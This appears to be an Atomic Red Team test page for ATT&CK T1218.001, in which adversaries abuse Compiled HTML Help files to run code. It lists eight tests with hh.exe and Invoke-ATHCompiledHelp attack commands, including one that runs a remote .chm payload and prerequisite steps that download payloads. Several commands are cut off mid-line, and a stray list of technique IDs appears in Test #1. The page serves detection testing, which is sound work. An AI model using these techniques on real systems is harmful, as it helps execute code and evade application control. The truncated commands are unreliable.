T1218.001 - Signed Binary Proxy Execution: Compiled HTML File

Description from ATT&CK

> Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
> A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

Atomic Tests

- Atomic Test #1 - Compiled HTML Help Local Payload
- Atomic Test #2 - Compiled HTML Help Remote Payload
- Atomic Test #3 - Invoke CHM with default Shortcut Command Execution
- Atomic Test #4 - Invoke CHM with InfoTech Storage Protocol Handler
- Atomic Test #5 - Invoke CHM Simulate Double click
- Atomic Test #6 - Invoke CHM with Script Engine and Help Topic
- Atomic Test #7 - Invoke CHM Shortcut Command with ITS and Help Topic
- Atomic Test #8 - Decompile Local CHM File

Atomic Test #1 - Compiled HTML Help Local Payload

Uses hh.exe to execute a local compiled HTML Help payload. Upon execution calc.exe will open

Supported Platforms: Windows

T1037.001
T1037.002
T1037.004
T1037.005
T1039
T1040

auto_generated_guid: 5cb87818-0d7c-4469-b7ef-9224107aebe8

Inputs:

Name	Description	Type	Default Value
local_chm_file	Local .chm payload	Path	PathToAtomicsFolder\T1218.001\src\T1218.00

Attack Commands: Run with `command_prompt`!

```
hh.exe #{local_chm_file}
```

Dependencies: Run with `powershell`!

Description: The payload must exist on disk at specified location (#{local_chm_file})

Check Prereq Commands:

```
if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ign
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

Atomic Test #2 - Compiled HTML Help Remote Payload

Uses hh.exe to execute a remote compiled HTML Help payload. Upon execution displays an error saying the file cannot be open

Supported Platforms: Windows

auto_generated_guid: 0f8af516-9818-4172-922b-42986ef1e81d

Inputs:

Name	Description	Type	Default Value
remote_chm_file	Remote .chm payload	Url	https://raw.githubusercontent.com/redcanary/red-team/master/atomics/T1218.001/src/T1218.

Attack Commands: Run with `command_prompt`!

```
hh.exe #{remote_chm_file}
```

Atomic Test #3 - Invoke CHM with default Shortcut Command Execution

Executes a CHM file with the default Shortcut Command method.

Supported Platforms: Windows

auto_generated_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7

Inputs:

Name	Description	Type	Default Value
chm_file_path	Default path of CHM	String	Test.chm
hh_file_path	path of modified HH.exe	Path	$env:windir\hh.exe

Attack Commands: Run with `powershell`!

```
Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_fi
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #4 - Invoke CHM with InfoTech Storage Protocol Handler

Executes a CHM file with the ITS protocol handler.

Supported Platforms: Windows

auto_generated_guid: b4094750-5fc7-4e8e-af12-b4e36bf5e7f6

Inputs:

Name	Description	Type	Default Value
hh_file_path	path of modified HH.exe	Path	$env:windir\hh.exe
infotech_storage_handler	Default InfoTech Storage Protocol Handler	String	its
chm_file_path	Default path of CHM	String	Test.chm

Attack Commands: Run with `powershell`!

```
Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handle
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
```

```
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #5 - Invoke CHM Simulate Double click

Executes a CHM file simulating a user double click.

Supported Platforms: Windows

auto_generated_guid: 5decef42-92b8-4a93-9eb2-877ddcb9401a

Inputs:

Name	Description	Type	Default Value
chm_file_path	Default path of CHM	String	Test.chm

Attack Commands: Run with `powershell`!

```
Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #6 - Invoke CHM with Script Engine and Help Topic

Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.

Supported Platforms: Windows

auto_generated_guid: 4f83adda-f5ec-406d-b318-9773c9ca92e5

Inputs:

Name	Description	Type	Default Value
topic_extension	Default Help Topic	String	html
hh_file_path	path of modified HH.exe	Path	$env:windir\hh.exe

infotech_storage_handler	Default InfoTech Storage Protocol Handler	String	its
script_engine	Default Script Engine	String	JScript
chm_file_path	Default path of CHM	String	Test.chm

Attack Commands: Run with `powershell`!

```
Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHa
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #7 - Invoke CHM Shortcut Command with ITS and Help Topic

Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.

Supported Platforms: Windows

auto_generated_guid: 15756147-7470-4a83-87fb-bb5662526247

Inputs:

Name	Description	Type	Default Value
topic_extension	Default Help Topic	String	html
hh_file_path	path of modified HH.exe	Path	$env:windir\hh.exe
infotech_storage_handler	Default InfoTech Storage Protocol Handler	string	its
chm_file_path	Default path of CHM	String	Test.chm

Attack Commands: Run with `powershell`!

```
Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #
```

Dependencies: Run with `powershell`!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.

Check Prereq Commands:

```
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {ex
```

Get Prereq Commands:

```
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

Atomic Test #8 - Decompile Local CHM File

Uses hh.exe to decompile a local compiled HTML Help file. Upon successful execution the chm file will decompile to disk. Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

Supported Platforms: Windows

auto_generated_guid: 20cb05e0-1fa5-406d-92c1-84da4ba01813

Inputs:

Name	Description	Type	Default Value
local_chm_file	Local .chm payload	Path	PathToAtomicsFolder\T1218.001\src\T1218.00

Attack Commands: Run with `command_prompt`!

```
hh.exe -decompile %temp% #{local_chm_file}
```

Cleanup Commands:

```
del %temp%\T1218.001.html >nul 2>&1
```

Dependencies: Run with `powershell`!

Description: The payload must exist on disk at specified location (#{local_chm_file})

Check Prereq Commands:

```
if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ign
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```